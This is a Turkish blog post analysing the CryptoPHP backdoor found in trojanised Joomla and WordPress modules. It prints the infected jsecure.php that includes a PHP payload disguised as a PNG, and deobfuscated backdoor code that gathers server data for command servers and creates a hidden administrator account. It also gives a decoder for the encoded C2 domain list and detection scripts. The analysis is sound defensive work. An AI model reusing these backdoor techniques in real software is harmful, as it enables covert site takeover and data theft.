Merhaba
Geçtiğimiz haftalarda foxitsecurity firması tarafından tespit edilen CryptoPHP arka kapısı 23.000’den fazla siteyi etkilemiştir. Bu hafta yayınlanan GüvenlikTV 35. Bölümü’nde bahsi geçen CryptoPHP ile detay bilgi vermeyi amaçlayan bu bu yazıda CryptoPHP’nin nasıl yayıldığı ve hangi tür yetenekleri olduğu ele alınarak, kendi sisteminizi tarayabilme yöntemlerine değinilecektir.
CryptoPHP Nedir ?
WordPress, Jommla , Drupal gibi populer içerik yönetim sistemi yazılımlarında görülen bir arka kapıdır. Bilinen en popüler bulaşma yöntemi ise “webmaster” ların theme’i ücretli olarak almak yerine farklı kaynaklardan indirirerek sistemlerine kurmalarıdır. Aynı durum plug-in ve benzer 3. parti modüller içinde geçerlidir.
Web sitesi sahibi tarafından CryptoPHP içeren bir modül sisteme yüklendiği anda hedef sunucuya özgü bir kod yapısına bürünebilmektedir. Ardından 3 farklı yöntem ile “sahiplerine” bilgi aktarabilir.
- Backdoor içerisinde bulunan C2 sunucuları
- Email yöntemi
- Manuel yönetim
Hedef sisteme yüklendiği anda C2 sunucu ile Public Key Encryption metodunu kullanarak iletişime geçmektedir. CryptoPHP’nin erişimi için geliştiricisi tarafından belirlenen C2 sunucuları/domain’lerine erişim kesilirse, bu sefer Email yolu ile iletişim kurmaktadır. Yapısında bulunan C2 sunucu listesi veya direk kendisi, uzaktan verilen bir komut ile güncellenebilmektedir.
CryptoPHP Analizi
Foxitsecurity firması tarafından yayınlanan bildiride, CryptoPHP arka kapısını normal olmayan bir HTTP talebinin fark ederek tespit ettikleri belirtilmiş. Kendi müşterilerine ait bir sunucudan User-Agent ve Referer bilgisi boş olan bir HTTP Post talebinin, farklı bir domaine gönderildiği tespit edilmiş. Giden talepte taşınan verinin ise encrypted olduğu fark edilmiş. Sunucu bölgesinden çıkan tek bir HTTP talebini fark edip, sonuna kadar analiz ederek ortaya bu bilinmeyen saldırıyı çıkarttıkları için kendilerini tebrik etmek isterim.
Joomla kurulu bir web sitesinin administratorunun sisteme JSecure adından bir module kurduğu bilgisine ulaşılmış ve backdoor bu modülde tespit edilmiş. Burada ki bir diğer ilginç nokta ise sistem yöneticisinin JSecure modülünü Joomla’nın resmi sitesinde yayınlanan listeden indirmesi.
Bende bu bilgiden yola çıkarak jSecure-Authentication_3.0 isimli modülü indirip analize başladım. İlk başta dikkatimi çeken şey dosya tarihleri oldu. Gördüğünüz üzere jsecure.php dosyası diğer tüm dosyalardan farklı bir tarihte güncellenmiş.
jsecure.php dosyasının kaynak kodları ise aşağıdaki gibidir.
<?php /** * jSecure Authentication components for Joomla! * jSecure Authentication extention prevents access to administration (back end) * login page without appropriate access key. * * @author $Author: Ajay Lulia $ * @copyright Joomla Service Provider - 2012 * @package jSecure3.0 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL * @version $Id: jsecure.php $ */ // no direct access defined('_JEXEC') or die('Restricted Access'); // Require the base controller require_once (JPATH_COMPONENT_ADMINISTRATOR.'/'.'controller.php'); if (!JFactory::getUser()->authorise('core.manage', 'com_jsecure')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $document =& JFactory::getDocument(); $document->addStyleSheet(JURI::base()."components/com_jsecure/css/jsecure.css"); $task = JRequest::getCmd('task'); // Create the controller $controller = new jsecureControllerjsecure(); // Perform the Request task if (!jsecureControllerjsecure::isMasterLogged()) { if (JRequest::getCmd('task') == 'login') $controller->execute('login'); else $controller->execute($task); } else $controller->execute($task); // Redirect if set by the controller $controller->redirect(); ?> <?php include('images/social.png'); ?>
2006’lı yıllarda Joomla componentleri üzerinde güvenlik araştırması yaptığım zamanlardan hatırladığım fonksiyon isimlerinide göz önünde bulundurarak kaynak kodu okudum. Yani JFactory class’ında analiz yapmaya gerek yok. Çünkü eğer infection bu tür class’larda ise Joomla Core infect edilmiş demektir ki bu da olası bir durum değil, zira peşinde olduğumuz şey CryptoPHP olduğunu düşünürsek 3. parti modül dışına çıkılmasının pek bir anlamı yok.
Son satır direk dikkatleri üzerine çekmekte. PNG uzantalı bir dosyanın include edilmesi ?! Son derece şüphe uyandırıcı çünkü php geliştiricileri tarafından kullanan 2 yaklaşım vardır. Include edilecek dosya uzantısı ya .php’dir yada .inc . Ki son yıllarda en çok .php kullanılmaktadır. Bu da saldırganın backdoor kodlarını .png uzantılı bir dosyada sakladığını göstermektedir. include() fonksiyonu için erişilen dosyanın uzantısı önemli değildir.
mince@rootlab admin $ file images/social.png images/social.png: PHP script, ASCII text, with very long lines
Dosyanın içeriğine baktığımızda ;
Beklediğimiz üzere obfuscation işlemi yapılmış PHP kaynak kodu görmekteyiz. Bu kod takibini oldukça zorlaştıran bir yöntemdir.
Backdoor Kodlarına İlk Bakış
Açıkça söylemem gerekirse bu güne kadar gördüğüm en başarılı web backdoor’u diyebilirim. Kaynak kodlara ilk bakışta fark edilecek şey Backdoor’un Joomla, WordPress ve Drupal sistemlerinin kendi fonksiyonlarını ve veri tabanını kullanmakta olduğudur. Örneğin kendi bilgilerini saklayabilmek adına aşağıdaki kod parçacığı ile hedef sistemin veri tabanına kendisine ait olan bir tablo oluşturmakta.
if ($TTsctbCBDGVyjyFVpVyp === 2) { $rTfnEPRdToBnhSfwgHoC = "CREATE TABLE IF NOT EXISTS `options` ( `id` int(10) NOT NULL AUTO_INCREMENT, `option_name` text NOT NULL, `value` text NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;"; db_query($rTfnEPRdToBnhSfwgHoC); }
PS: Ben olsam config.php dosyasından prefix’i okur ve o prefixe uygun PREFIX_options adından bir tablo oluşturarak Webmaster’ın dikkatini çekmemeye çalışırdım.
Kaynak kodu okumaya backdoor class’ının kurucu fonksiyonundan başlıyoruz. Hedef sisteme kendisini yerleştirme ve C2 sunucularına iletişim kurma gibi adımlar, backdoor ilk çalıştığında gerçekleştiriliyor olması kuvvetle muhtemeldir. İlk çalışan fonksiyon aşağıdaki kodlardı.
function YJPpcHYXiHzJcujCRMrl() { if (class_exists('JFactory')) { if (JURI::base()) { $rFofWoxFwVRGhuCOjsaK = JURI::base(); } elseif (JURI::root()) { $rFofWoxFwVRGhuCOjsaK = JURI::root(); } } elseif (function_exists('get_home_url') || function_exists('get_site_url')) { if (function_exists('get_home_url')) { $rFofWoxFwVRGhuCOjsaK = get_home_url(); } elseif (function_exists('get_site_url')) { $rFofWoxFwVRGhuCOjsaK = get_site_url(); } } elseif ($GLOBALS['base_path'] || $GLOBALS['base_url']) { if ($GLOBALS['base_path']) { $rFofWoxFwVRGhuCOjsaK = $GLOBALS['base_path']; } else { $rFofWoxFwVRGhuCOjsaK = $GLOBALS['base_url']; } } else { $rFofWoxFwVRGhuCOjsaK = $_SERVER['HTTP_HOST']; } $MsLKWZubUpwZsXweShFg = array( 'www.', 'www', ' ', '{', '}' ); $this->rFofWoxFwVRGhuCOjsaK = str_replace($MsLKWZubUpwZsXweShFg, "", $rFofWoxFwVRGhuCOjsaK); return $this->rFofWoxFwVRGhuCOjsaK; }
Hedef sistemdeki CMS’i tespit etmek
Yukarıdaki kaynak kodlar hem Joomla hemde WordPress karakteri gösteren yapıdadır. Backdoor ilk olarak JFactory isimli bir sınıfın varlığını kontrol etmektedir.
JFactory provides access to a group of core Joomla Objects. In each case it returns an object, usually with the current site settings.
Hedef bu sınıf mevcut değilse get_home_url isimli fonksiyonun varlığına bakılmaktadır. WordPress geliştiricilerinin yakından tanıdığı bu fonksiyon WordPress kurulu sitenin URL adresini vermektedir.
The get_home_url template tag retrieves the home url for a given site. Returns the ‘home’ option with the appropriate protocol, ‘https’ if is_ssl() and ‘http’ otherwise. If scheme is ‘http’ or ‘https’, is_ssl() is overridden.
Bu fonksiyon backdoor’un yerleştiği websitesinin URL’ini tespit etmeyi hedeflediği aşikardır. Eğer tanımlayamadığı bir PHP ıuygulamasına yerleşmiş ise PHP Global değişkeni olan HTTP_HOST bilgisini url olarak kabul etmektedir. Hedef sistem hakkında bir takım bilgiler elde ettikten sonra bu verileri aşağıdaki fonksiyon ile toplayıp C2 sunucularından bir tanesine göndermekte.
function bQhqyjECNagHOENBeGGx() { if (!defined('wp_getInfoData')) { $ANVoslonRNQSwwQloQTx = array(); $ANVoslonRNQSwwQloQTx['host'] = $this->YJPpcHYXiHzJcujCRMrl(); $ANVoslonRNQSwwQloQTx['page'] = $_SERVER['REQUEST_URI']; $ANVoslonRNQSwwQloQTx['ip'] = $_SERVER['SERVER_ADDR']; $ANVoslonRNQSwwQloQTx['eval'] = $this->iIkbNPOMzHBEaGLuayXw(); $ANVoslonRNQSwwQloQTx['exec'] = $this->schzwZIoqdCTflLjVBrW(); $ANVoslonRNQSwwQloQTx['serverKey'] = $this->ERCpAYkPoxkdbTLfQwev(); $ANVoslonRNQSwwQloQTx['run'] = 0; $ANVoslonRNQSwwQloQTx['type'] = $this->TTsctbCBDGVyjyFVpVyp; $ANVoslonRNQSwwQloQTx['ver'] = 1.0; $ANVoslonRNQSwwQloQTx['started'] = date('Ymd'); $ANVoslonRNQSwwQloQTx['last_connect'] = date('Ymd'); $this->ClbAffTqwdfsStqVgzyq = $ANVoslonRNQSwwQloQTx; return $ANVoslonRNQSwwQloQTx; } return FALSE; }
C2 sunucu listesi hardcoded şekilde backdoor’un içerisinde encoded olarak bulunmakta. Bu kısmında “code hacking” yaparak listeyi aşağıdaki oluşturdum.
<?php /** * Created by PhpStorm. * User: mince * Date: 12/2/14 * Time: 5:37 PM */ $s = array( '=02ow5FryW3ogkJnuWUq', '6yzLhDKqwETol92q', '==trcWzYyEKqwETol92q', 'g92LhZ3ni9Togyzr', '==DoiAzYiEKqiyKMgS2p', '=8zMhyzYhIJMlqzoi9Jo', '=bKnv5vpuE3phSJofI2n', 'aW3ohHzMckzp19JM2y2M', '=02ow5PoyITqmEJquWaM', '==DoiAzY6ITqu1JLgkJL', 'g92LhpzockTocM2oaWKM', '==toc5vo1AKMaSTofyzq', '==jqj5FqiyKMwyzoyA2p', '3OaY1WGoj1JL', '=pUphxKqaWKnuu2L', '=4JnhVKMeAJnfMJock2p', '=4JnhV3ox5JLl9TryuTq', 'hyzYmk2oiEaoyk2M', 'hyzYh9TqlSzLhSTM', '=4JnhNKqiW3Mf9TogyzL', '==toc5lp0Szp0SzM', 'hyzYfIJM0Aaouu2L', 'hyzYlSTqm92Mhyzp', 'aW3ohHTo5E3pgHJocW3L', '==trcWzYmgJLgyTqf9zM', '==Nqy5zYmAKMhy2M0ITo0I3o', '==jqj5PnmyzMiEUnmyzp', '==jqj5lphS2pfIzquWUq', '==trcWzYlITMuk2Mc5Jq', '0IzohZUocSzMlITMh92q', '0IzohZKMfyUqm52ohITr', '=pzpi5vouEKn0g2LukzL', '==trcWzYfy2MlITqhIUn', '=bKnv5FM4S2nfyJo', '=bKnv5PqcgJLgSzp', '==trcWzYfk2ovITqiIKp', '==DoiAzYm52ox1zM', '=02ow5lpwy2p11JLlSTM', '=02ow5vpyWzLiWzpyq2MiWaM', '=02ow5lphIJof92n', '=02ow5lpykTpgS2pi9zM', '==DoiAzYmEzpu9zL2EKo', '==trcWzYmyKLxIao', 'iMzoc5lp5kzMx5JLlS2L', '==jow5lqikTn0SJo', '=82Lh82nhIJo', '==toc5lp3Izo3SJo', '=4Jnhf2LiWKolITq', 'hyzYeA2olIzoiE3p', '=4Jnh82oz1zM', 'hyzY0WKLjSJMyWaM', '==toc5PMhSTolSTqcI3M', '==toc5vou12MiWUp', '==toc5voz1zM', 'hyzYj9TouWKMhI2M', '=8zMhyzYykTpgS2pi9zM', '==joz5JnhHJMlMTAiWTn', '==joz5JnhHaZhITqmyTo', '=8zMhyzYyqJLjgzo', '3OaYm5JqaWzM', '=pUphH2nuEaZwyTp', '=pUphZapyE3pu1JMmIzocu2L', '=pUphxUMukJr6SToi9zM', '3OaYyAKqi92n', '0IzohxKLxIao', '=DKMh5Fne9TMhyzM', '==Nqy5zY5kzMx5JLlS2L', '==Nqy5zYi9zMgyzM', '==Nqy5zY392qzqKL', '==DoiAzYyyao2EKo', '=02ow5lpuyTMySKney2q', 'g92Lh4JMwEapiO3p', '=02ow5FMyWaM2EKo', '==DoiAzYwyJou5Jrx9JolIJo', 'g92LhDJMfkJLlIzquk2p', '=pzpi5FLc9zouWKLyO3p', '=DKMh5ln1kTnaI3oluTq', 'g92Lh0zpiE3pcAaoiO3p', '==DoiAzYcEaouW3MuyTM', '==DoiAzYyAzouE3pcAKMg9TM', '==DoiAzY5WKL0yTocWJnmSJM', '==DoiAzYaWKqvAUq0y2n', 'g92Lh0Jrh9zouqJq', '=02ow5PouITqmIKL', 'g92LhZUqcAKn2yTM', 'g92LhRzquqUql9Tn', '=02ow5PocEao19Jo', 'g92Lh4zpyEaoc9Tp', '==DoiAzYiEKLl9Tpl92LhyTo', 'g92Lhx3LuAJnfI2MlSTo', '==DoiAzYlI2Mu52olIJL', '==DoiAzYuu2pa5JnlIUM', '==DoiAzYmWKMg92LhyTo', '==DoiAzY3Izo3SJo' ); $result = array(); foreach ($s as $a) { $result[] = base64_decode(str_rot13(strrev($a))); } foreach($result as $d) echo $d."\n"; mince@rootlab cryptophp $ php crypto_php_decoder.php trailmorey.com worldcut.biz worldcute.biz zimlooks.com sameyouto.com moongreen.info kelmanstar.biz giveourlife.org fraudsteel.com almamatez.com ergofilling.com villagesun.in sceniceyou.pw ampm2u.pw chairguy.pw slimflicker.in thexorandor.in glentools.in danbarton.in bimlolgroup.in fatrats.in chansteel.in ringostar.in crime-style.org foltimaks.biz outletginess.net rishtofish.pw travelsans.pw uniglader.biz wonderfails.net xenonstyles.net blacktitan.org huntergil.biz milkaxe.biz ramakit.biz quoteboll.biz fmdons.com daramusics.com froggerbobber.com kolmens.com foosamples.com mtvboards.com nudays.biz carandflys.info mathlow.co menko.co mawnews.in termrock.in stonerock.in fmfoo.in freeapart.in guitarland.in progman.in fmfn.in generalop.in foosample.info hbo4free.info listen2u.info nkpage.info fbguns.pw pic2take.pw chinesemasters.pw foolazylady.pw koouse.pw nuday.net findoki.net carandfly.net fimfoo.net awfwow.net mtvnye.com wikiqedias.com sportcen.com mtvfree.com mermodynamic.com slaveralled.com spearanoia.org throughluk.net sponsistorm.com diagranti.com domesistance.com easibilitary.com kittsburg.com uganonym.com austeal.com divisits.com hortwava.com mountil.com pointern.com lincorporato.com largelicacy.com aeronager.com duringsha.com lincomers.com mawnew.com
PS: Türk hosting firmalarının bu domainleri yasaklamalarını öneririm.
Bununla yeterli kalmayıp bulaştığı yazılımı tespit edebilmesi halinde WordPress ve Joomla için veritabanına administrator yetkisinde kullanıcı eklemektedir.
$zDNvTSZejFCkikBBYJnv = 'system'; $eyyPQlOlTIqZjnzoyueI = 'FUHIAsbdiugAS'; $AXnqCEBIBkgvOuLbMY = 'afjiaa@asfuhus.cc.cc'; if (username_exists($zDNvTSZejFCkikBBYJnv) || email_exists($AXnqCEBIBkgvOuLbMY)) { return TRUE; } $xLyDQzORkZZbMOednjNE = 0; while (username_exists($zDNvTSZejFCkikBBYJnv)) { $zDNvTSZejFCkikBBYJnv = "system" . $xLyDQzORkZZbMOednjNE++; } $xLyDQzORkZZbMOednjNE = 0; while (email_exists($AXnqCEBIBkgvOuLbMY)) { $AXnqCEBIBkgvOuLbMY = "afjiaa" . $xLyDQzORkZZbMOednjNE++ . "@asfuhus.cc.cc"; } $EPiddlhLNBJYXRRpRZRb = wp_create_user($zDNvTSZejFCkikBBYJnv, $eyyPQlOlTIqZjnzoyueI, $AXnqCEBIBkgvOuLbMY);
Görüldüğü üzere wp_create_user API’sini kullanarak hedef sisteme admin yetkilerinde kullanıcı eklemekte.
Sonuç
Alışıla gelmiş web backdoor’ların aksine 1600+ satır kodu olan ve iyi düşünülmüş bir backdoor ile karşılaştığımızı aşikardır. Kendi sistemlerinizde bu backdoor’u tespit etmek istiyorsanız backdoor’u tespit eden firma tarafından yazılmış aşağıdaki betiki kullanabilirsiniz. Web dizini altında .png vb dosyaların hash’ini alıp tespit edilen varyantların hashi ile karşılaştırılmakta.
https://github.com/fox-it/cryptophp/blob/master/scripts/check_filesystem.py
Bu listede olmayan varyantları tespit etmek mümkün olmayacaktır. Ben yazdığım aşağıdaki bash betiğini tercih etmekteyim. Sonuç olarak hash’i, adı ne olursa olsun, include edilen .png uzantılı dosya PHP script olmak zorundadır.
for i in $(find /home -type f |grep '.png\|.jpg'); do file $i|grep 'PHP script' ; done